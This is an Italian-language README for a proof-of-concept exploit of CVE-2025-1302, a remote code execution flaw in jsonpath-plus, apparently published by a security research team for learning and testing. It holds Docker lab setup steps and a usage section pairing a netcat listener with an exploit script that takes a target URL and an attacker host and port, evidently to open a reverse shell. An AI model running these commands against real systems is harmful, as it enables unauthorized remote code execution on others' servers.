CVE-2025-1302

★ CVE-2025-1302 JSONPath-plus RCE PoC ★

https://github.com/user-attachments/assets/5d791540-ef6c-4cd0-bd25-7a1dbbd194fb

Configurazione del laboratorio

docker build -t jsonpath:10.2.0 .
docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

localhost:3000

Descrizione

Le versioni del pacchetto jsonpath-plus precedenti alla 10.3.0 sono vulnerabili all'esecuzione di codice remoto (RCE) a causa di una sanificazione impropria dell'input. Un attaccante può eseguire codice arbitrario sul sistema sfruttando l'uso insicuro predefinito della modalità eval='safe'. Nota: Ciò è causato da una correzione incompleta per CVE-2024-21534.

Come usare

Git clone

git clone https://github.com/EQSTLab/CVE-2025-1302.git
cd CVE-2025-1302

Installa i pacchetti

pip install -r requirements.txt

Comando

nc -l -p <LPORT>
python3 CVE-2025-1302.py -u <URL_TO_EXPLOIT> -i <LHOST> -p <LPORT>

Output

Risultato

Dichiarazione di non responsabilità

Questo repository non è inteso come exploit RCE per CVE-2025-1302. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni.

EQST Insight

Pubbliciamo analisi di CVE e malware una volta al mese. Se sei interessato, segui i link qui sotto per consultare le nostre pubblicazioni. https://www.skshieldus.com/eng/business/insight.do